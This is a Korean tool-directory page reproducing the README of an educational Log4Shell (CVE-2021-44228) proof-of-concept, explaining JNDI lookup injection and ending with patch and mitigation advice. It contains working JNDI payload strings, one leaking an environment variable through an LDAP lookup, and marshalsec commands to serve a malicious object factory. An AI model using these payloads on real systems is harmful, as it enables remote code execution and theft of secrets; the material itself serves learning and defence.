Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-44228-example — 취약점 PoC | Kitploit
도구/GitHubGitHub/kosmx/cve-2021-44228-example
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationRemote Access Tool
GitHubkosmx/cve-2021-44228-example

CVE-2021-44228-example

취약점 PoC

저장소 보기
724년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

이것은 CVE-2021-44228을 악용하는 예제입니다

Log4J2 RCE 취약점


저는 이 코드에 대해 책임을 지지 않습니다. 악의적으로 사용하지 마십시오

CVE-2021-44228:
이 취약점은 대상 머신에서 악성 메시지를 로깅함으로써 임의 코드를 실행할 수 있게 합니다.
예를 들어, Minecraft 에서 채팅 메시지를 보내는 방식으로 이를 사용할 수 있으며, 서버/플레이어 머신이 채팅 메시지를 로깅하고 여러분의 코드를 실행하게 됩니다.
LiveOverflow/CVE-2021-44228 영상

메시지에는 원격 객체를 로드하라는 지시가 담긴 ${} 플레이스홀더와 jndi API가 포함되어야 합니다. ObjectFactory를 통해 객체를 로드합니다.

  • LDAP ldap://x.x.x.x:port/...
  • HTTP http://x.x.x.x/...
  • DNS dns://x.x.x/...
  • 기타...

${jndi:ldap://127.0.0.1:1389/#}

클라이언트에 ObjectFactory가 없으면 아무것도 하지 않습니다.
서버를 확인(resolve)하는 것 외에는요.
이를 통해 환경 변수를 유출할 수 있습니다:

${jndi:ldap://127.0.0.1:1389/${env:java_home}}

이 RCE는 대체 왜 이렇게 난리인가?

왜 이렇게 과대평가되었나?
제 이해가 맞다면, 이것은 JNDI에 대한 인터페이스를 제공합니다

무엇이 악용될 수 있나

JNDI JDAP은 객체 조회 API입니다.
서버에서 Java 객체를 가져올 수 있습니다.
marshalsec/LDAPRefServer
이것은 객체 데이터와 ObjectFactory 이름을 보내며, 클라이언트에서 객체를 빌드하게 됩니다.
여러 방식으로 악용될 수 있습니다.
LDAP가 외부 코드를 신뢰하도록 설정되어 있다면, 악성 ObjectFactory의 URL만 제공하면 됩니다.
com.sun.jndi.ldap.object.trustURLCodebase = true
또는 또 다른 Java 취약점이 있습니다. JDK-8196902
이것과 결합하면, 정말로 RCE가 됩니다.
GitHub에는 이를 수행하는 여러 POC 저장소가 있습니다. 예를 들어 tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce

이 값이 false로 설정되어 있으면(기본값은 false), 대상 코드베이스에서 악용 가능한 ObjectFactory를 찾거나,
다른 방식으로 JNDI를 악용할 수 있습니다.

JNDI 인젝션에 대한 추가 자료:
JNDI 인젝션
Veracode Research/rogue-jndi

예제에서:

RCEExample은 악성 메시지를 로깅하는 함수입니다.
그냥 run을 눌러 실행하세요...

LoggerFactory는 무엇을 받든 로깅할 ObjectFactory입니다...
marshalsec을 빌드하면, LoggerFactory를 사용하도록 지정할 수 있습니다.

  1. java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1/#LoggerFactory"
  2. rce.RCEExample을 실행하고 익스플로잇(로거)을 확인하세요.
  3. 이 프로젝트를 디버깅하고 LoggerFactory에 중단점을 설정하여 객체들을 확인할 수 있습니다.

프로그램을 안전하게 보호하기

프로그램이 오직 내장된 메시지만 로깅한다면 영향을 받지 않습니다.
프로그램이 데이터 파일이나 네트워크의 텍스트를 로깅할 수 있다면 취약합니다.
하지만 어차피 수정해야 합니다...

가장 좋은 방법은 Log4J2 2.15.0+로 업데이트하는 것입니다.
어떤 이유로든 업데이트가 불가능하다면, 다음 Java 인자로 JNDI 조회를 비활성화하여 취약점을 완화하세요: ‐Dlog4j2.formatMsgNoLookups=True

Minecraft 서버 관리자라면 공식 가이드를 따르세요: 중요 공지: JAVA EDITION 보안 취약점

도구 다운로드